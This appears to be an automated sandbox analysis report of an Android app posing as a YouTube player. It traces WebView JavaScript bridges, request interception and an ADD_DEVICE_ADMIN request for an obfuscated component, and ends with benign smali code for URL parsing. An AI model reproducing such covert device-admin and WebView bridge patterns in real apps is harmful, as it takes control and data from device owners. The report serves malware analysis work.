API: android.view.ViewGroup->addView at ..:147 Show source
API: com.mikepenz.materialdrawer.d.f$b->a at ..:150 Show source
API: android.view.ViewGroup->addView at ..:156 Show source
API: java.lang.Object-><init> at ..:3 Show source
API: android.webkit.WebView->loadDataWithBaseURL at com.pedqaesf.app.player.c.a:9 Show source
API: android.webkit.WebView->loadUrl at com.pedqaesf.app.player.c.a:4 Show source
API: android.webkit.WebView->destroy at com.pedqaesf.app.player.c.c:4 Show source
API: android.webkit.WebView->getSettings at com.pedqaesf.app.player.c.a:5 Show source
API: android.webkit.WebSettings->setJavaScriptEnabled at com.pedqaesf.app.player.c.a:8 Show source
API: android.webkit.WebView->setWebContentsDebuggingEnabled at com.pedqaesf.app.player.c.a:15 Show source
API: android.webkit.WebChromeClient-><init> at com.pedqaesf.app.player.c.a:20 Show source
API: android.webkit.WebView->setWebChromeClient at com.pedqaesf.app.player.c.a:22 Show source
API: android.webkit.WebView->getSettings at com.pedqaesf.app.player.c.a:29 Show source
API: android.webkit.WebSettings->setMediaPlaybackRequiresUserGesture at com.pedqaesf.app.player.c.a:33 Show source
API: android.webkit.WebView->getSettings at com.pedqaesf.app.player.c.a:37 Show source
API: android.webkit.WebSettings->setUserAgentString at com.pedqaesf.app.player.c.a:42 Show source
API: android.webkit.WebView->addJavascriptInterface at com.pedqaesf.app.player.c.a:54 Show source
API: com.pedqaesf.app.player.c$1-><init> at com.pedqaesf.app.player.c.a:59 Show source
API: android.webkit.WebView->setWebViewClient at com.pedqaesf.app.player.c.a:61 Show source
API: java.lang.Object-><init> at com.pedqaesf.app.player.c.<init>:2 Show source
API: android.webkit.WebView-><init> at com.pedqaesf.app.player.c.<init>:5 Show source
API: android.webkit.WebResourceRequest->getUrl at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:6 Show source
API: java.lang.String->valueOf at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:9 Show source
API: java.lang.String->contains at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:14 Show source
API: android.webkit.WebResourceRequest->getUrl at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:18 Show source
API: java.lang.String->valueOf at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:21 Show source
API: java.lang.String->contains at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:26 Show source
API: android.webkit.WebResourceRequest->getUrl at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:30 Show source
API: java.lang.String->valueOf at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:33 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:38 Show source
API: java.lang.String->indexOf at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:44 Show source
API: java.lang.String->length at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:48 Show source
API: java.lang.String->substring at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:51 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:61 Show source
API: java.lang.String->indexOf at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:65 Show source
API: java.lang.String->length at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:69 Show source
API: java.lang.String->substring at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:72 Show source
API: java.util.regex.Pattern->compile at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:78 Show source
API: java.lang.String->toString at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:81 Show source
API: java.util.regex.Pattern->matcher at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:84 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:89 Show source
API: java.util.regex.Matcher->matches at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:96 Show source
API: java.util.regex.Matcher->group at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:102 Show source
API: java.lang.String->contains at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:108 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:116 Show source
API: com.pedqaesf.app.INSMainActivity->getMainLooper at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:125 Show source
API: android.os.Handler-><init> at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:128 Show source
API: android.os.Handler->post at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:137 Show source
API: android.webkit.WebViewClient->shouldInterceptRequest at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:139 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldInterceptRequest:150 Show source
API: java.lang.String->contains at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:5 Show source
API: java.lang.String->contains at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:11 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:17 Show source
API: com.pedqaesf.app.INSMainActivity->findViewById at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:22 Show source
API: android.support.design.widget.Snackbar->a at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:28 Show source
API: android.support.design.widget.Snackbar->a at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:31 Show source
API: android.view.View->findViewById at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:35 Show source
API: android.graphics.Color->parseColor at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:41 Show source
API: android.widget.TextView->setTextColor at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:44 Show source
API: android.support.design.widget.Snackbar->b at com.pedqaesf.app.INSMainActivity$7.shouldOverrideUrlLoading:46 Show source
API: android.webkit.WebViewClient->onPageFinished at com.pedqaesf.app.INSMainActivity$7.onPageFinished:2 Show source
API: com.pedqaesf.app.views.INSCustomSwipeRefresh->setRefreshing at com.pedqaesf.app.INSMainActivity$7.onPageFinished:9 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.onPageFinished:13 Show source
API: android.webkit.WebViewClient-><init> at com.pedqaesf.app.INSMainActivity$7.<init>:3 Show source
API: android.webkit.WebViewClient->onPageStarted at com.pedqaesf.app.INSMainActivity$7.onPageStarted:2 Show source
API: android.util.Log->d at com.pedqaesf.app.INSMainActivity$7.onPageStarted:6 Show source
API: com.pedqaesf.app.views.INSCustomSwipeRefresh->setRefreshing at com.pedqaesf.app.INSMainActivity$7.onPageStarted:13 Show source
API: android.text.TextPaint-><init> at ..:3 Show source
API: devlight.io.library.ntb.NavigationTabBar$6->setColor at ..:6 Show source
API: devlight.io.library.ntb.NavigationTabBar$6->setTextAlign at ..:10 Show source
API: java.lang.Enum->valueOf at ..:3 Show source
API: devlight.io.library.ntb.NavigationTabBar$a-><init> at ..:7 Show source
API: devlight.io.library.ntb.NavigationTabBar$a-><init> at ..:13 Show source
API: java.lang.Enum-><init> at ..:7 Show source
Method: ..: Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230742
NameTypeValue
Return Valuejava.lang.String
  • toString: Open
Method: com.pedqaesf.app.INSMainActivity.onCreateOptionsMenu:34 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131231770
NameTypeValue
Return Valuejava.lang.String
  • toString: Search YouTube
Method: com.mikepenz.materialdrawer.d$3.a:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230741
NameTypeValue
Return Valuejava.lang.String
  • toString: Close
Method: com.mikepenz.materialdrawer.d$3.b:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230742
NameTypeValue
Return Valuejava.lang.String
  • toString: Open
Method: com.mikepenz.materialdrawer.d$3.a:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230741
NameTypeValue
Return Valuejava.lang.String
  • toString: Close
Method: com.mikepenz.materialdrawer.d$3.b:13 Show source
NameTypeValue
resIdjava.lang.Integer
  • toString: 2131230742
NameTypeValue
Return Valuejava.lang.String
  • toString: Open
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:231 Show source
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:94 Show source
NameTypeValue
p0java.lang.String
  • toString: android.intent.extra.TEXT
NameTypeValue
Return Valuenull
  • toString: null
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onActivityResult:12 Show source
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onActivityResult:18 Show source
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:243 Show source
Method: com.pedqaesf.app.player.INSPlayerYouTubeView.onCreate:249 Show source
Method: com.pedqaesf.app.INSMainActivity.onCreate:27 Show source
NameTypeValue
p0java.lang.String
  • toString: android.app.extra.DEVICE_ADMIN
p1android.content.ComponentName
  • toString: ComponentInfo{com.pedqaesf.app/com.pedqaesf.app.AsyncTask.Vlwhupznixfm}
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.app.action.ADD_DEVICE_ADMIN (has extras) }
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: android.speech.extra.LANGUAGE_MODEL
p1java.lang.String
  • toString: web_search
NameTypeValue
Return Valueandroid.content.Intent
  • toString: Intent { act=android.speech.action.WEB_SEARCH flg=0x10000000 (has extras) }
Method: ..: Show source
NameTypeValue
Return Valuenull
  • toString: null
Method: com.mikepenz.iconics.view.IconicsImageView.<init>:15 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.mikepenz.a.d.a.a:31 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.mikepenz.a.d.a.a:16 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: false
Method: com.mikepenz.materialdrawer.d.j.a:60 Show source
NameTypeValue
Return Valuejava.lang.Boolean
  • toString: true
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:6 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:11 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:9 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.c:3 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:6 Show source
Method: ..:38 Show source
Method: ..:43 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.b:9 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.c:2 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.c:4 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$2.onAnimationUpdate:4 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$2.onAnimationUpdate:10 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$2.onAnimationUpdate:31 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$2.onAnimationUpdate:35 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$2.onAnimationUpdate:55 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:11 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:3 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:12 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:22 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$1.a:4 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$1.a:10 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$1.a:29 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$1.a:33 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior$1.a:53 Show source
Method: devlight.io.library.behavior.NavigationTabBarBehavior.a:16 Show source
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.FitWindowsLinearLayout
  • toString: android.support.v7.widget.FitWindowsLinearLayout{32f1fa7 V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@1f5b9b5
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.FitWindowsLinearLayout
  • toString: android.support.v7.widget.FitWindowsLinearLayout{45440fe V.E..... ......I. 0,0-0,0 #7f0f0077 app:id/action_bar_root}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@162f6f0a
NameTypeValue
Return Valuenull
  • toString: null
Method: com.pedqaesf.app.views.INSCustomSwipeRefresh.<init>:2 Show source
NameTypeValue
p0com.pedqaesf.app.views.INSCustomSwipeRefresh
  • toString: com.pedqaesf.app.views.INSCustomSwipeRefresh{34a4a4c8 V.ED.... ......I. 0,0-0,0 #7f0f008f app:id/swipe_refresh}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@eff4961
  • Arrays.toString: [true]
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@213119dc
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@1e913847
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@10e4c874
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@2434e19d
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@3f32fe0e
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@3ef2a02f
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@d76b63c
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@157a0fc5
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@d24ed1a
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.c.a.b
  • toString: android.support.v7.c.a.b@1f8fce4f
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@1513104b
NameTypeValue
Return Valuejava.lang.Integer
  • toString: 0
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.SearchView$SearchAutoComplete
  • toString: android.support.v7.widget.SearchView$SearchAutoComplete{14410a23 VFED..CL ......I. 0,0-0,0 #7f0f0085 app:id/search_src_text}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@4674de2
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.support.v7.widget.SearchView$SearchAutoComplete
  • toString: android.support.v7.widget.SearchView$SearchAutoComplete{14410a23 VFED..CL ......I. 0,0-0,0 #7f0f0085 app:id/search_src_text}
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@38833573
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0android.view.inputmethod.InputMethodManager
  • toString: android.view.inputmethod.InputMethodManager@2d742148
p1[Ljava.lang.Object;
  • toString: [Ljava.lang.Object;@2464be1
  • Arrays.toString: [0, null]
NameTypeValue
Return Valuenull
  • toString: null
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: computeFitSystemWindows
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@2d240f43
  • Arrays.toString: [class android.graphics.Rect, class android.graphics.Rect]
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: protected boolean android.view.View.computeFitSystemWindows(android.graphics.Rect,android.graphics.Rect)
  • getName: computeFitSystemWindows
Method: com.pedqaesf.app.views.INSCustomSwipeRefresh.<init>:2 Show source
NameTypeValue
p0java.lang.String
  • toString: setChildrenDrawingOrderEnabled
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@2409aeba
  • Arrays.toString: [boolean]
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: protected void android.view.ViewGroup.setChildrenDrawingOrderEnabled(boolean)
  • getName: setChildrenDrawingOrderEnabled
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: doBeforeTextChanged
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@25585df9
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: void android.widget.AutoCompleteTextView.doBeforeTextChanged()
  • getName: doBeforeTextChanged
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: doAfterTextChanged
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@161674ec
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: void android.widget.AutoCompleteTextView.doAfterTextChanged()
  • getName: doAfterTextChanged
Method: ..: Show source
NameTypeValue
p0java.lang.String
  • toString: getLayoutDirection
p1[Ljava.lang.Class;
  • toString: [Ljava.lang.Class;@2d7f7529
NameTypeValue
Return Valuejava.lang.reflect.Method
  • toString: public int android.graphics.drawable.Drawable.getLayoutDirection()
  • getName: getLayoutDirection

26 Executed Methods

APIs
  • android.app.Activity.onCreate
  • com.pedqaesf.app.player.INSPlayerYouTubeView.getApplicationContext
  • android.content.Context.getSharedPreferences
  • android.content.SharedPreferences.contains
  • android.util.Log.d
  • android.content.SharedPreferences.edit
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.putBoolean
  • android.content.Context.getString
  • android.content.SharedPreferences$Editor.putInt
  • android.content.SharedPreferences$Editor.commit
  • com.pedqaesf.app.player.INSPlayerYouTubeView.getIntent
  • android.content.Intent.getData
  • android.content.Intent.getStringExtra
  • android.content.Intent.getData
  • android.net.Uri.toString
  • android.util.Log.d
  • java.util.regex.Pattern.compile
  • java.util.regex.Pattern.matcher
  • java.util.regex.Matcher.matches
  • java.util.regex.Matcher.group
  • android.util.Log.d
  • java.lang.String.indexOf
  • java.lang.String.length
  • java.lang.String.substring
  • android.util.Log.d
  • java.util.regex.Pattern.compile
  • java.util.regex.Pattern.matcher
  • java.util.regex.Matcher.matches
  • java.util.regex.Matcher.group
  • android.util.Log.d
  • java.lang.String.length
  • com.pedqaesf.app.player.INSPlayerYouTubeView.a
  • android.util.Log.d
  • com.pedqaesf.app.player.INSYouTubePlayerService.a
  • com.pedqaesf.app.player.INSPlayerYouTubeView.finish
  • com.pedqaesf.app.player.INSPlayerYouTubeView.getString
  • android.content.SharedPreferences.getInt
  • com.pedqaesf.app.player.INSPlayerYouTubeView.getString
  • android.content.SharedPreferences.getBoolean
  • android.content.Intent.getStringExtra
  • android.content.Intent.<init>
  • android.content.Intent.putExtra
  • android.content.Intent.setAction
  • com.pedqaesf.app.player.INSPlayerYouTubeView.startService
  • com.pedqaesf.app.player.INSPlayerYouTubeView.finish
  • android.content.Intent.<init>
  • com.pedqaesf.app.player.INSPlayerYouTubeView.startActivity
Strings
  • SHAREDPREFERENCE_KEYFILE
  • INITIALIZED
  • Initializing
  • Shared Preferences
  • REPEAT_TYPE
  • NO_OF_REPEATS
  • PLAYER_TYPE
  • VIDEO_QUALITY
  • FINISH_ON_END
  • COUNT
  • android.intent.extra.TEXT
  • Link :
  • ^https?://.*(?:youtu.be/|v/|u/\\\\w/|embed/|watch[?]v=)([^#&?]*).*$
  • Video Id :
  • http
  • List ID Is :
  • .*list=([A-Za-z0-9_-]+).*?
  • PID Is :
  • Service :
  • Already Running!
  • VID_ID
  • PLAYLIST_ID
  • com.pedqaesf.app.ytube.action.playingweb
Position Instruction Meta Information
0.prologue
1const v7, 0x7f080036
2const/4 v6, 0x3
3const/4 v5, 0x2
4const/4 v4, 0x1
5const/4 v3, 0x0
7invoke-super {p0, p1}, Landroid/app/Activity;->onCreate(Landroid/os/Bundle;)V
9invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getApplicationContext()Landroid/content/Context;
  • Time: 63222
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • Return:
      • com.pedqaesf.app.volley.NCAppController@17694989
10move-result-object v0
11const v1, 0x7f080017
13invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63223
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131230743
    • Return:
      • SHAREDPREFERENCE_KEYFILE
14move-result-object v1
16invoke-virtual {v0, v1, v3}, Landroid/content/Context;->getSharedPreferences(Ljava/lang/String;I)Landroid/content/SharedPreferences;
  • Data flow analysis:
    • mode: 0
17move-result-object v0
18sput-object v0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->c:Landroid/content/SharedPreferences;
20sget-object v0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->c:Landroid/content/SharedPreferences;
21const v1, 0x7f0803db
23invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63225
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231707
    • Return:
      • INITIALIZED
24move-result-object v1
26invoke-interface {v0, v1}, Landroid/content/SharedPreferences;->contains(Ljava/lang/String;)Z
27move-result v0
28if-nez v0, :cond_124
30const-string v0, "Initializing "
32const-string v1, "Shared Preferences"
34invoke-static {v0, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Initializing
    • msg: Shared Preferences
36sget-object v0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->c:Landroid/content/SharedPreferences;
38invoke-interface {v0}, Landroid/content/SharedPreferences;->edit()Landroid/content/SharedPreferences$Editor;
39move-result-object v0
40const v1, 0x7f0803db
42invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63268
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231707
    • Return:
      • INITIALIZED
43move-result-object v1
45invoke-interface {v0, v1, v4}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 1
46const v1, 0x7f080419
48invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63269
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231769
    • Return:
      • REPEAT_TYPE
49move-result-object v1
51invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
52const v1, 0x7f080411
54invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63270
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231761
    • Return:
      • NO_OF_REPEATS
55move-result-object v1
56const/4 v2, 0x5
58invoke-interface {v0, v1, v2}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 5
59const v1, 0x7f080418
61invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63280
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231768
    • Return:
      • PLAYER_TYPE
62move-result-object v1
64invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
65const v1, 0x7f080424
67invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63281
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131231780
    • Return:
      • VIDEO_QUALITY
68move-result-object v1
70invoke-interface {v0, v1, v6}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 3
72invoke-virtual {p0, v7}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63282
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131230774
    • Return:
      • FINISH_ON_END
73move-result-object v1
75invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putBoolean(Ljava/lang/String;Z)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
76const v1, 0x7f08002b
78invoke-virtual {p0, v1}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getString(I)Ljava/lang/String;
  • Time: 63283
    • This:
      • com.pedqaesf.app.player.INSPlayerYouTubeView@36dfc4b4
    • resId: 2131230763
    • Return:
      • COUNT
79move-result-object v1
81invoke-interface {v0, v1, v3}, Landroid/content/SharedPreferences$Editor;->putInt(Ljava/lang/String;I)Landroid/content/SharedPreferences$Editor;
  • Data flow analysis:
    • p1: 0
83invoke-interface {v0}, Landroid/content/SharedPreferences$Editor;->commit()Z
84goto_7e:
85invoke-virtual {p0}, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->getIntent()Landroid/content/Intent;
86move-result-object v0
88invoke-virtual {v0}, Landroid/content/Intent;->getData()Landroid/net/Uri;
89move-result-object v1
90if-nez v1, :cond_90
92const-string v1, "android.intent.extra.TEXT"
94invoke-virtual {v0, v1}, Landroid/content/Intent;->getStringExtra(Ljava/lang/String;)Ljava/lang/String;
  • Time: 63311
    • This:
      • Intent { cmp=com.pedqaesf.app/.player.INSPlayerYouTubeView }
    • p0: android.intent.extra.TEXT
    • Return:
      • null
95move-result-object v1
96if-eqz v1, :cond_16a
97cond_90:
98invoke-virtual {v0}, Landroid/content/Intent;->getData()Landroid/net/Uri;
99move-result-object v1
100if-eqz v1, :cond_141
102invoke-virtual {v0}, Landroid/content/Intent;->getData()Landroid/net/Uri;
103move-result-object v0
105invoke-virtual {v0}, Landroid/net/Uri;->toString()Ljava/lang/String;
106move-result-object v0
107goto_9e:
108const-string v1, "Link : "
110invoke-static {v1, v0}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Link :
112const-string v1, ""
113iput-object v1, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
115const-string v1, "^https?://.*(?:youtu.be/|v/|u/\\\\w/|embed/|watch[?]v=)([^#&?]*).*$"
117invoke-static {v1, v5}, Ljava/util/regex/Pattern;->compile(Ljava/lang/String;I)Ljava/util/regex/Pattern;
  • Data flow analysis:
    • p0: ^https?://.*(?:youtu.be/|v/|u/\\\\w/|embed/|watch[?]v=)([^#&?]*).*$
    • p1: 2
118move-result-object v1
120invoke-virtual {v1, v0}, Ljava/util/regex/Pattern;->matcher(Ljava/lang/CharSequence;)Ljava/util/regex/Matcher;
121move-result-object v1
123invoke-virtual {v1}, Ljava/util/regex/Matcher;->matches()Z
124move-result v2
125if-eqz v2, :cond_bd
127invoke-virtual {v1, v4}, Ljava/util/regex/Matcher;->group(I)Ljava/lang/String;
  • Data flow analysis:
    • p0: 1
128move-result-object v1
129iput-object v1, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
130cond_bd:
131const-string v1, "Video Id : "
133iget-object v2, p0, Lcom/pedqaesf/app/player/INSPlayerYouTubeView;->a:Ljava/lang/String;
135invoke-static {v1, v2}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: Video Id :
137const-string v1, "http"
139invoke-virtual {v0, v1}, Ljava/lang/String;->indexOf(Ljava/lang/String;)I
  • Data flow analysis:
    • p0: http
140move-result v1
141add-int/lit8 v1, v1, 0x4
143invoke-virtual {v0}, Ljava/lang/String;->length()I
144move-result v2
146invoke-virtual {v0, v1, v2}, Ljava/lang/String;->substring(II)Ljava/lang/String;
147move-result-object v1
149const-string v2, "List ID Is : "
151invoke-static {v2, v1}, Landroid/util/Log;->d(Ljava/lang/String;Ljava/lang/String;)I
  • Data flow analysis:
    • tag: List ID Is :
152const/4 v1, 0x0
